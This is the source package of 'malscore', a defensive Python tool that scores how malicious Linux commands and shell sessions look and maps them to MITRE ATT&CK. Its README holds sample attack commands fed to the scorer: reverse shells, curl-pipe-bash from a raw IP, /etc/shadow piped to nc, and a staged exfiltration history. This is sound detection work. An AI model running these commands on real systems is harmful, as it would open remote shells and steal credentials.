malscore 0.1.0__tar.gz

malscore-0.1.0/CHANGELOG.md

@@ -0,0 +1,35 @@
+# Changelog
+
+All notable changes to this project are documented here. The format is based on
+[Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project
+adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+## [Unreleased]
+
+## [0.1.0] - 2026-10-19
+
+Initial release.
+
+### Added
+- Maliciousness scoring for a single Linux command: a 0–100 score with a verdict
+  band (`benign`/`low`/`medium`/`high`/`critical`) and MITRE ATT&CK mapping.
+- Session scoring (`Analyzer.assess_session`, `--session`): score a list of
+  commands together, with cross-command signals for staged exfiltration, a
+  download run later, privilege escalation followed by credential access, cleanup
+  after exfiltration, and activity followed by history/log clearing.
+- A catalogue of 113 command-level signals and 8 session signals spanning the
+  Linux ATT&CK tactics — execution, persistence, privilege escalation, defense
+  evasion, credential access, discovery, collection, command-and-control,
+  exfiltration and impact — including GTFOBins shell escapes, credential hunting,
+  database dumps and sensitive-data access, and DNS/encoded exfiltration.
+- A non-executing shell lexer and analysis context; the non-execution guarantee is
+  enforced by a static and runtime safety test.
+- Command-line interface: argument/stdin/`--session`/`--batch` input, `--json`,
+  `--explain`, `--redact`, `--min-verdict`, `--fail-on`, `--no-color`; `malscore`
+  console script and `python -m malscore`.
+- Python API: `Analyzer`, `Assessment`, `SIGNALS`, `SESSION_SIGNALS`,
+  `verdict_for`.
+- Zero runtime dependencies; Python 3.8+.
+
+[Unreleased]: https://github.com/raj3shp/malscore/compare/v0.1.0...HEAD
+[0.1.0]: https://github.com/raj3shp/malscore/releases/tag/v0.1.0

malscore-0.1.0/CONTRIBUTING.md

@@ -0,0 +1,112 @@
+# Contributing to malscore
+
+Thanks for helping improve `malscore`. It is a small, dependency-free package, so
+getting set up is quick.
+
+## Development setup
+
+`malscore` has no runtime dependencies and the tests use only the standard
+library, so a checkout is all you need to hack on it:
+
+```bash
+git clone https://github.com/raj3shp/malscore
+cd malscore
+python -m unittest discover -s tests     # 87 tests, no deps required
+python -m malscore "curl -s http://1.2.3.4/x.sh | bash"   # run from source
+```
+
+The release toolchain (for building and publishing) is an optional extra:
+
+```bash
+pip install -e ".[dev]"      # installs build + twine
+```
+
+The package **runs** on Python 3.8+, but **building** it (editable install,
+`python -m build`, a release) needs Python 3.9+ because the build requires
+`setuptools>=77` for the SPDX license metadata. Running the tests needs no build,
+so they work on 3.8 too.
+
+## The non-execution invariant
+
+`malscore` must **never** execute, expand, glob or resolve what it analyses — it
+only reads text. This is the project's core safety property and is enforced by
+`tests/test_safety.py`, which:
+
+1. statically scans every source file for execution primitives (`os.system(`,
+   `subprocess`, `eval(`, `exec(`, `pty.spawn`, …), and
+2. checks at runtime that assessing file-creating/deleting/substitution commands
+   leaves the filesystem untouched.
+
+Because of the static scan, when a **test** needs to feed such a primitive to the
+analyser as data, assemble the literal from pieces so it does not appear verbatim
+in source, e.g.:
+
+```python
+cmd = "python3 -c 'import pty; %s(\"/bin/bash\")'" % ("pty." + "spawn")
+```
+
+Never add `subprocess`, `os.system`, `eval`/`exec`, etc. to the library itself.
+
+## Adding a detection
+
+A detection is a **feature** (a neutral observation) plus a **signal** (weighted
+judgement). See [docs/architecture.md](docs/architecture.md) for the why.
+
+1. **Feature** — add it to the appropriate group in `malscore/tradecraft.py`
+   (technique-specific shapes, grouped by ATT&CK tactic) or
+   `malscore/features.py` (generic groups), and return it from that group's
+   function. Features return plain ints/strings and must not judge intent.
+2. **Signal** — add a `Signal` to `malscore/signals.py` with an id, a one-line
+   title, a weight in `(0, 1]`, a MITRE tactic constant and technique ids, and a
+   predicate (a tuple of feature names fires when any is set, or a `lambda r:`
+   for anything more involved). Weight rules of thumb are documented at the top of
+   that file.
+3. **Tests** — add a positive case (the technique fires its signal) and, for
+   anything with false-positive risk, a near-miss negative, to
+   `tests/test_techniques.py`.
+4. Keep false positives down: a new rule should not push routine administration
+   into `medium` or above. Evaluate against representative benign traffic.
+
+## Regenerating the signal reference
+
+`docs/signals.md` is generated from the catalogue, not edited by hand. After
+changing signals, regenerate it:
+
+```bash
+python tools/gen_signals_doc.py > docs/signals.md
+```
+
+## Pull requests
+
+- Run `python -m unittest discover -s tests` and make sure everything passes.
+- Update `CHANGELOG.md` under `[Unreleased]`.
+- If you add a feature or signal, update `docs/` (regenerate `signals.md`).
+
+## Release workflow (maintainers)
+
+Releases are published to PyPI manually with `twine`.
+
+1. Bump `__version__` in `malscore/__init__.py` (the packaged version is derived
+   from it) and move the `CHANGELOG.md` `[Unreleased]` notes under the new version.
+2. Build and validate:
+   ```bash
+   python -m build
+   twine check dist/*
+   ```
+3. Inspect the artifacts if you like (`unzip -l dist/*.whl`), then upload to
+   TestPyPI first and verify the listing:
+   ```bash
+   twine upload -r testpypi dist/*
+   ```
+4. Upload to PyPI:
+   ```bash
+   twine upload dist/*
+   ```
+5. Tag the release:
+   ```bash
+   git tag v0.1.0 && git push origin v0.1.0
+   ```
+
+`twine` reads credentials from `~/.pypirc` or the `TWINE_USERNAME`/
+`TWINE_PASSWORD` environment variables; use `__token__` as the username and a PyPI
+API token as the password.

malscore-0.1.0/LICENSE

@@ -0,0 +1,202 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2026 raj3shp
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

malscore-0.1.0/MANIFEST.in

@@ -0,0 +1,9 @@
+include LICENSE
+include README.md
+include CHANGELOG.md
+include CONTRIBUTING.md
+graft docs
+graft tests
+graft tools
+exclude commands_flat_7d.json
+global-exclude __pycache__ *.py[cod]

malscore-0.1.0/PKG-INFO

@@ -0,0 +1,282 @@
+Metadata-Version: 2.4
+Name: malscore
+Version: 0.1.0
+Summary: Score the maliciousness of a Linux command or a session of commands (0-100) with MITRE ATT&CK mapping. Never executes its input.
+Author: raj3shp
+License-Expression: Apache-2.0
+Project-URL: Homepage, https://github.com/raj3shp/malscore
+Project-URL: Repository, https://github.com/raj3shp/malscore
+Project-URL: Issues, https://github.com/raj3shp/malscore/issues
+Project-URL: Changelog, https://github.com/raj3shp/malscore/blob/main/CHANGELOG.md
+Keywords: security,malware,detection,mitre,att&ck,linux,shell,command,session,scoring,dfir,threat-detection
+Classifier: Development Status :: 4 - Beta
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Intended Audience :: System Administrators
+Classifier: Intended Audience :: Information Technology
+Classifier: Topic :: Security
+Classifier: Topic :: System :: Systems Administration
+Classifier: Operating System :: POSIX :: Linux
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Typing :: Typed
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Provides-Extra: dev
+Requires-Dist: build>=1.2; extra == "dev"
+Requires-Dist: twine>=6.1; extra == "dev"
+Dynamic: license-file
+
+# malscore — maliciousness scoring for Linux commands
+
+[![PyPI](https://img.shields.io/pypi/v/malscore.svg)](https://pypi.org/project/malscore/)
+[![Python versions](https://img.shields.io/pypi/pyversions/malscore.svg)](https://pypi.org/project/malscore/)
+[![License](https://img.shields.io/pypi/l/malscore.svg)](LICENSE)
+
+`malscore` takes a Linux command line, or a session of commands such as a shell
+history, and returns a **0–100 maliciousness score** with a verdict band and
+MITRE ATT&CK mapping:
+
+```
+command(s) → features → signals → score + MITRE mapping
+```
+
+It never executes, expands or resolves anything — it only reads the text
+(enforced by `tests/test_safety.py`). It has no dependencies beyond the Python
+standard library (3.8+).
+
+---
+
+## Install
+
+```bash
+pip install malscore       # provides the `malscore` command
+```
+
+From a source checkout:
+
+```bash
+pip install .              # or run without installing, from the repo root:
+python3 -m malscore "<command>"
+```
+
+## Quickstart
+
+```bash
+# one command
+malscore "curl -s http://45.33.2.1/x.sh | bash"
+
+# the command from stdin
+echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
+
+# a session: one command per line, scored individually and across commands
+malscore --session history.txt
+history | cut -c8- | malscore --session -
+
+# every command in a telemetry feed, high or worse only
+malscore --batch events.jsonl --min-verdict high
+
+# full evidence with MITRE technique ids
+malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
+
+# machine-readable
+malscore --session history.txt --json
+
+# gate use: exit code 2 when the verdict is high or critical
+malscore --session history.txt --fail-on high
+```
+
+Examples:
+
+```
+$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
+██████████████████████░░  score  91/100  CRITICAL
+  tactics: exfiltration, credential-access, command-and-control
+
+  evidence:
+    [0.60] exfiltration           Credential material is sent over the network
+           T1552 T1041
+    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
+           T1003.008
+    [0.35] exfiltration           Data is sent over a raw socket
+           T1048
+    ...
+
+$ cat history.txt
+cd /tmp
+curl -s -o /tmp/.x http://45.33.2.1/x
+chmod +x /tmp/.x
+/tmp/.x
+tar czf /tmp/etc.tgz /etc
+scp /tmp/etc.tgz loot@45.33.2.1:/srv/
+history -c
+
+$ malscore --session history.txt
+████████████████████████  score  99/100  CRITICAL
+  history.txt
+  tactics: execution, defense-evasion, exfiltration, command-and-control, collection
+
+  7 command(s), 6 flagged:
+    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
+    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
+    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
+    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
+    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz loot@45.33.2.1:/srv/
+    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
+  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
+```
+
+In a session file every non-blank line is one command, taken literally: there is
+no handling of comments, line continuations or here-documents. `--batch` is
+different: it scores each command of a JSON feed independently, with no
+cross-command analysis.
+
+---
+
+## Verdict bands
+
+| score | verdict | meaning |
+| --- | --- | --- |
+| 80–100 | `critical` | shape is rarely legitimate (reverse shell, disk wipe, uid‑0 account) |
+| 60–79 | `high` | strong evidence; review promptly |
+| 35–59 | `medium` | suspicious in most contexts (curl‑pipe‑shell, shadow read) |
+| 15–34 | `low` | worth noting in combination |
+| 0–14 | `benign` | routine |
+
+The bands and weights are a hand-tuned starting point, **not** a trained model —
+every point of the score traces to a named signal and a MITRE ATT&CK technique.
+
+---
+
+## How the score is built
+
+1. **Features.** The command is lexed (without executing anything), wrappers
+   such as `sudo`/`env`/`xargs` are unwrapped, substitutions and `-c` payloads
+   are descended into, and deterministic features are computed — download
+   chains, paths touched, persistence surfaces, encoding tricks, and a
+   `tradecraft` group (`malscore/tradecraft.py`) that recognises specific
+   attacker techniques by shape.
+2. **Signals.** `malscore/signals.py` is a catalogue of ~120 named signals: a
+   predicate over the feature record, a weight in `(0, 1]`, a MITRE tactic and
+   technique ids. A weight reads as "how likely is this hostile if it
+   were the only thing we knew". The catalogue spans, by ATT&CK tactic:
+   - **execution** — interpreter from a download, decoded payloads, TTY upgrades,
+     fileless execution from `/proc/self/fd`;
+   - **credential access** — `/etc/shadow` and private keys, cloud metadata,
+     credential-keyword searches over config files, reads of `.pgpass`/`.netrc`/
+     cloud credential files, environment and history scraping, SSH-agent hijack;
+   - **privilege escalation** — reverse shells, sudoers edits, setuid, container
+     escape, interactive root shells, GTFOBins shell escapes, the `sudo -u#-1`
+     bypass, PATH hijacks;
+   - **collection / exfiltration** — archives and database dumps, access to
+     tables or files holding card numbers / tokens / customer data, regex hunts
+     for card numbers and SSNs, DNS and encoded exfiltration, paste/webhook
+     services;
+   - **defense evasion** — history and log tampering, disabling EDR/audit,
+     clearing immutable flags, `/proc` bind-mount hiding;
+   - **persistence / impact** — cron, systemd, login hooks, disk wipes, fork
+     bombs, miners, `DROP TABLE`, mass process kills.
+
+   The generic sensitive-data rules (card/SSN patterns, database dumps, table
+   names such as `card`, `token`, `customer`) ship on by default; tune the
+   `SENSITIVE_TABLE_RE` vocabulary in `malscore/tradecraft.py` for your own data.
+3. **Aggregation (noisy‑OR).** Weights combine as `1 − ∏(1 − wᵢ)`, so many weak
+   signals accumulate but never overflow and one strong signal dominates.
+   Redundant signals that share a tactic are damped, so tripping three
+   persistence checks is not counted as three independent findings.
+4. **Sessions.** Each command in a session is scored as above (its
+   contribution capped at 0.9, so one noisy command does not make a long session
+   critical), and then **cross‑command** signals look for patterns no single
+   command shows — a file downloaded early and run later, data staged (dumped,
+   archived or compressed) and later `scp`‑ed away, credential access after a
+   privilege escalation, an upload after credential access, staged data deleted
+   once sent, download plus persistence, activity followed by history/log
+   clearing, or activity spanning three or more tactics.
+
+### Why a static score is not the whole story
+
+A static score measures *what a command intrinsically does*. It cannot know that
+`curl … | bash` is fine on a build box and an incident on a ledger database —
+that is a **behavioural** judgement relative to a user/host baseline, which is
+what a downstream anomaly model (e.g. an Isolation Forest over per-user
+history) is for. Activity the static scorer rates low (e.g. data staging spread
+across a session) is exactly what an anomaly layer exists to catch — and
+session scoring recovers much of it once the commands are scored together.
+
+The intended production shape is a hybrid:
+
+```
+                command / session
+                        │
+        ┌───────────────┼────────────────┐
+        ▼               ▼                 ▼
+   malscore        behavioural        deterministic
+ (static risk)     anomaly model         rules
+        └───────────────┼────────────────┘
+                        ▼
+                 risk / triage
+```
+
+---
+
+## Documentation
+
+- [docs/usage.md](docs/usage.md) — full CLI reference and the Python API
+- [docs/signals.md](docs/signals.md) — every signal, its weight, tactic and techniques
+- [docs/architecture.md](docs/architecture.md) — the pipeline, safety guarantee, and how to extend it
+- [CHANGELOG.md](CHANGELOG.md) · [CONTRIBUTING.md](CONTRIBUTING.md)
+
+---
+
+## Layout
+
+| file | role |
+| --- | --- |
+| `malscore/lexer.py` | non-executing shell lexer |
+| `malscore/context.py` | resolves executables, payloads, paths, URLs, IPs, ports |
+| `malscore/features.py` | generic feature groups (network, paths, persistence, …) |
+| `malscore/tradecraft.py` | technique-specific features (reverse shells, credential hunting, …) |
+| `malscore/signals.py` | weighted, MITRE-mapped signal catalogue |
+| `malscore/scoring.py` | noisy-OR scoring and cross-command session analysis |
+| `malscore/cli.py` | command-line interface (`malscore` / `python -m malscore`) |
+
+---
+
+## Python API
+
+```python
+from malscore import Analyzer
+
+a = Analyzer()
+r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
+print(r.score, r.verdict)                 # 67 high
+print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
+print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']
+
+r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
+print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
+print([c.score for c in r.per_command])   # each command's own assessment
+print(r.as_dict())                        # JSON-ready
+```
+
+`Analyzer(redact=True)` redacts credential-looking values before any command
+text is echoed back; scores are unaffected.
+
+---
+
+## Extending the scorer
+
+* **New technique detection** → add a feature to `malscore/tradecraft.py`
+  (grouped by ATT&CK tactic) and return it from one of the group functions, or
+  to a generic group in `malscore/features.py`.
+* **New weighting** → add a `Signal` to `malscore/signals.py` with a
+  weight, tactic and technique ids. No other file needs to change.
+
+Tune weights against your own traffic before trusting the absolute numbers; the
+*ranking* is more portable than the exact score.